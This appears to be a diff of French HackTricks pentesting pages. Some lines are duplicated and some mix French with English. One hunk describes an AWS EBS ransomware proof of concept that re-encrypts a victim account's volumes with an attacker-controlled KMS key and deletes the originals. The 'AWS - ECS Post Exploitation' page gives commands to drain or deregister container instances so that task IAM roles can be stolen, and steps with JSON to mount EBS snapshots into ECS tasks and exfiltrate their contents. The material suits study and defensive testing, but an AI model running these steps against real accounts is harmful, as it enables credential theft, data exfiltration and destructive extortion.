Attendez un instant que la nouvelle key policy se propage. Retournez ensuite au compte 'victim' et tentez d'attacher l'un des EBS volumes nouvellement chiffrés. Vous constaterez que vous pouvez attacher le volume.
|
||||
Attendez un instant que la nouvelle key policy se propage. Ensuite, retournez sur le compte 'victim' et tentez d'attacher un des volumes EBS nouvellement chiffrés. Vous verrez que vous pouvez attacher le volume.
|
||||
|
||||
 
|
||||
|
||||
Mais quand vous tentez réellement de redémarrer l'instance EC2 avec le volume EBS chiffré, cela échouera et l'instance passera de l'état 'pending' à l'état 'stopped' indéfiniment, car le volume EBS attaché ne peut pas être déchiffré avec la key puisque la key policy ne le permet plus.
|
||||
Mais lorsque vous tentez réellement de démarrer à nouveau l'instance EC2 avec le volume EBS chiffré, cela échouera : l'état passera de 'pending' à 'stopped' indéfiniment, car le volume EBS attaché ne peut pas être déchiffré avec la key puisque la key policy ne le permet plus.
|
||||
|
||||
 
|
||||
|
||||
Voici le script python utilisé. Il prend en entrée des identifiants AWS pour un compte 'victim' et une valeur ARN AWS publique pour la key utilisée pour le chiffrement. Le script crée des copies chiffrées de TOUS les volumes EBS disponibles attachés à TOUTES les instances EC2 du compte AWS ciblé, puis arrête toutes les instances EC2, détache les volumes EBS originaux, les supprime, et enfin supprime tous les snapshots utilisés pendant le processus. Cela laissera uniquement des volumes EBS chiffrés dans le compte 'victim' ciblé. N'UTILISEZ CE SCRIPT QUE DANS UN ENVIRONNEMENT DE TEST, IL EST DESTRUCTIF ET SUPPRIMERA TOUS LES VOLUMES EBS ORIGINAUX. Vous pouvez les récupérer en utilisant la KMS key utilisée et les restaurer à leur état initial via des snapshots, mais je veux simplement vous informer qu'il s'agit au final d'un ransomware PoC.
|
||||
Ceci est le script python utilisé. Il prend des identifiants AWS pour un compte 'victim' et une valeur ARN AWS publiquement accessible pour la key à utiliser pour le chiffrement. Le script créera des copies chiffrées de TOUS les volumes EBS disponibles attachés à TOUTES les instances EC2 du compte AWS ciblé, puis arrêtera chaque instance EC2, détachera les volumes EBS originaux, les supprimera, et enfin supprimera tous les snapshots utilisés durant le processus. Cela laissera uniquement des volumes EBS chiffrés dans le compte 'victim' ciblé. N'UTILISEZ CE SCRIPT QUE DANS UN ENVIRONNEMENT DE TEST, IL EST DESTRUCTIF ET SUPPRIMERA TOUS LES VOLUMES EBS ORIGINAUX. Vous pouvez les récupérer en utilisant la KMS key utilisée et les restaurer à leur état d'origine via les snapshots, mais je tiens à vous avertir qu'il s'agit, au final, d'un ransomware PoC.
|
||||
```
|
||||
import boto3
|
||||
import argparse
|
||||
@@ -583,6 +621,8 @@ main()
|
||||
```
|
||||
## Références
|
||||
|
||||
- [Latacora - ECS on EC2: Covering Gaps in IMDS Hardening](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
|
||||
- [Latacora ecs-on-ec2-gaps-in-imds-hardening Terraform repo](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening)
|
||||
- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+29
-23
@@ -1,10 +1,10 @@
|
||||
# AWS - ECS Post-exploitation
|
||||
# AWS - ECS Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECS
|
||||
|
||||
Pour plus d'informations, voir :
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecs-enum.md
|
||||
@@ -12,33 +12,33 @@ Pour plus d'informations, voir :
|
||||
|
||||
### Rôles IAM de l'hôte
|
||||
|
||||
In ECS an **IAM role can be assigned to the task** running inside the container. **If** the task is run inside an **EC2** instance, the **EC2 instance** will have **another IAM** role attached to it.\
|
||||
Which means that if you manage to **compromise** an ECS instance you can potentially **obtain the IAM role associated to the ECR and to the EC2 instance**. For more info about how to get those credentials check:
|
||||
Dans ECS un **IAM role can be assigned to the task** running inside the container. **If** the task is run inside an **EC2** instance, the **EC2 instance** will have **another IAM** role attached to it.\
|
||||
Ce qui signifie que si vous parvenez à **compromettre** une instance ECS vous pouvez potentiellement **obtenir le IAM role associé à l'ECR et à l'instance EC2**. Pour plus d'infos sur comment récupérer ces credentials, consultez :
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that if the EC2 instance is enforcing IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), the **response of the PUT request** will have a **hop limit of 1**, making impossible to access the EC2 metadata from a container inside the EC2 instance.
|
||||
> IMDSv2 with a hop limit of 1 **does not** block awsvpc or host-networked tasks—only Docker bridge tasks sit far enough away for the responses to die. See [ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation](../aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ecs-on-ec2-imds-abuse--ecs-agent-impersonation) for the full attack workflow and bypass notes. Recent [Latacora research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) shows that awsvpc and host tasks still fetch host credentials even when IMDSv2+h=1 is enforced.
|
||||
|
||||
### Privesc to node to steal other containers creds & secrets
|
||||
|
||||
But moreover, EC2 uses docker to run ECs tasks, so if you can escape to the node or **access the docker socket**, you can **check** which **other containers** are being run, and even **get inside of them** and **steal their IAM roles** attached.
|
||||
De plus, EC2 utilise docker pour exécuter les ECS tasks, donc si vous pouvez vous échapper vers le nœud ou **accéder au socket docker**, vous pouvez **vérifier** quels **autres conteneurs** sont en cours d'exécution, et même **entrer dedans** et **voler leurs IAM roles** attachés.
|
||||
|
||||
#### Making containers run in current host
|
||||
#### Faire exécuter des conteneurs sur l'hôte actuel
|
||||
|
||||
Furthermore, the **EC2 instance role** will usually have enough **permissions** to **update the container instance state** of the EC2 instances being used as nodes inside the cluster. An attacker could modify the **state of an instance to DRAINING**, then ECS will **remove all the tasks from it** and the ones being run as **REPLICA** will be **run in a different instance,** potentially inside the **attackers instance** so he can **steal their IAM roles** and potential sensitive info from inside the container.
|
||||
De plus, le **EC2 instance role** aura généralement suffisamment de **permissions** pour **mettre à jour le container instance state** des instances EC2 utilisées comme nœuds dans le cluster. Un attaquant pourrait modifier **l'état d'une instance en DRAINING**, alors ECS **retirera toutes les tasks de celle-ci** et celles exécutées en tant que **REPLICA** seront **lancées sur une autre instance**, potentiellement à l'intérieur de **l'instance de l'attaquant** afin qu'il puisse **voler leurs IAM roles** et d'éventuelles informations sensibles depuis l'intérieur du conteneur.
|
||||
```bash
|
||||
aws ecs update-container-instances-state \
|
||||
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
|
||||
```
|
||||
La même technique peut être effectuée en **désenregistrant l'instance EC2 du cluster**. C'est potentiellement moins discret mais cela **forcera les tasks à s'exécuter sur d'autres instances :**
|
||||
La même technique peut être réalisée en **retirant l'instance EC2 du cluster**. Ceci est potentiellement moins discret mais cela va **forcer l'exécution des tâches sur d'autres instances :**
|
||||
```bash
|
||||
aws ecs deregister-container-instance \
|
||||
--cluster <cluster> --container-instance <container-instance-id> --force
|
||||
```
|
||||
Une dernière technique pour forcer la ré-exécution des tasks consiste à indiquer à ECS que le **task ou container a été arrêté**. Il existe 3 API potentielles pour le faire :
|
||||
Une dernière technique pour forcer la réexécution des tâches consiste à indiquer à ECS que la **task or container was stopped**. Il existe 3 API potentielles pour cela :
|
||||
```bash
|
||||
# Needs: ecs:SubmitTaskStateChange
|
||||
aws ecs submit-task-state-change --cluster <value> \
|
||||
@@ -52,36 +52,38 @@ aws ecs submit-attachment-state-changes ...
|
||||
```
|
||||
### Voler des informations sensibles depuis des conteneurs ECR
|
||||
|
||||
L'instance EC2 disposera probablement aussi de l'autorisation `ecr:GetAuthorizationToken`, lui permettant de **télécharger des images** (vous pourriez y chercher des informations sensibles).
|
||||
L'instance EC2 aura probablement aussi l'autorisation `ecr:GetAuthorizationToken` lui permettant de **télécharger des images** (vous pouvez rechercher des informations sensibles à l'intérieur).
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Monter un snapshot EBS directement dans une task ECS (configuredAtLaunch + volumeConfigurations)
|
||||
|
||||
Abusez de l'intégration native ECS ↔ EBS (2024+) pour monter le contenu d'un snapshot EBS existant directement dans une nouvelle task/service ECS et lire ses données depuis l'intérieur du container.
|
||||
|
||||
### Monter un snapshot EBS directement dans une tâche ECS (configuredAtLaunch + volumeConfigurations)
|
||||
|
||||
Abusez de l'intégration native ECS EBS (2024+) pour monter le contenu d'un snapshot EBS existant directement dans une nouvelle tâche/service ECS et lire ses données depuis l'intérieur du conteneur.
|
||||
|
||||
- Nécessite (minimum) :
|
||||
- ecs:RegisterTaskDefinition
|
||||
- L'un de : ecs:RunTask OR ecs:CreateService/ecs:UpdateService
|
||||
- L'un des : ecs:RunTask OR ecs:CreateService/ecs:UpdateService
|
||||
- iam:PassRole sur :
|
||||
- ECS infrastructure role used for volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
|
||||
- Task execution/Task roles référencés par la task definition
|
||||
- Si le snapshot est chiffré avec une CMK : permissions KMS pour le rôle d'infra (la AWS managed policy ci‑dessus inclut les KMS grants requis pour les clés gérées par AWS).
|
||||
- rôle d'infrastructure ECS utilisé pour les volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
|
||||
- Task execution/Task roles référencés par la définition de tâche
|
||||
- Si le snapshot est chiffré avec une CMK : permissions KMS pour le rôle infra (la managed policy AWS ci-dessus inclut les grants KMS requis pour les clés gérées AWS).
|
||||
|
||||
- Impact : Lire le contenu arbitraire du disque depuis le snapshot (par ex., fichiers de base de données) à l'intérieur du container et exfiltrate via network/logs.
|
||||
- Impact : Lire arbitrairement le contenu du disque depuis le snapshot (par ex., fichiers de base de données) à l'intérieur du conteneur et exfiltrer via le réseau/logs.
|
||||
|
||||
Étapes (exemple Fargate) :
|
||||
|
||||
1) Créer le ECS infrastructure role (s'il n'existe pas) et attacher la managed policy :
|
||||
1) Créez le rôle d'infrastructure ECS (s'il n'existe pas) et attachez la managed policy :
|
||||
```bash
|
||||
aws iam create-role --role-name ecsInfrastructureRole \
|
||||
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
|
||||
aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
|
||||
```
|
||||
2) Enregistrer une task definition avec un volume marqué `configuredAtLaunch` et le monter dans le container. Exemple (affiche le secret puis dort):
|
||||
2) Enregistrez une task definition avec un volume marqué `configuredAtLaunch` et montez-le dans le conteneur. Exemple (affiche le secret puis reste en veille) :
|
||||
```json
|
||||
{
|
||||
"family": "ht-ebs-read",
|
||||
@@ -101,7 +103,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
|
||||
}
|
||||
```
|
||||
3) Créez ou mettez à jour un service en passant le snapshot EBS via `volumeConfigurations.managedEBSVolume` (requiert iam:PassRole sur le rôle infra). Exemple:
|
||||
3) Créez ou mettez à jour un service en passant l'instantané EBS via `volumeConfigurations.managedEBSVolume` (requiert iam:PassRole sur le rôle d'infrastructure). Exemple :
|
||||
```json
|
||||
{
|
||||
"cluster": "ht-ecs-ebs",
|
||||
@@ -115,12 +117,16 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
]
|
||||
}
|
||||
```
|
||||
4) Lorsque la task démarre, le container peut lire le contenu du snapshot au mount path configuré (e.g., `/loot`). Exfiltrate via the task’s network/logs.
|
||||
4) Lorsque la task démarre, le container peut lire le contenu du snapshot au mount path configuré (par ex., `/loot`). Exfiltrer via le réseau/logs de la task.
|
||||
|
||||
Cleanup:
|
||||
Nettoyage :
|
||||
```bash
|
||||
aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
|
||||
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
|
||||
aws ecs deregister-task-definition ht-ebs-read
|
||||
```
|
||||
## Références
|
||||
|
||||
- [Latacora - ECS on EC2: Covering Gaps in IMDS Hardening](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user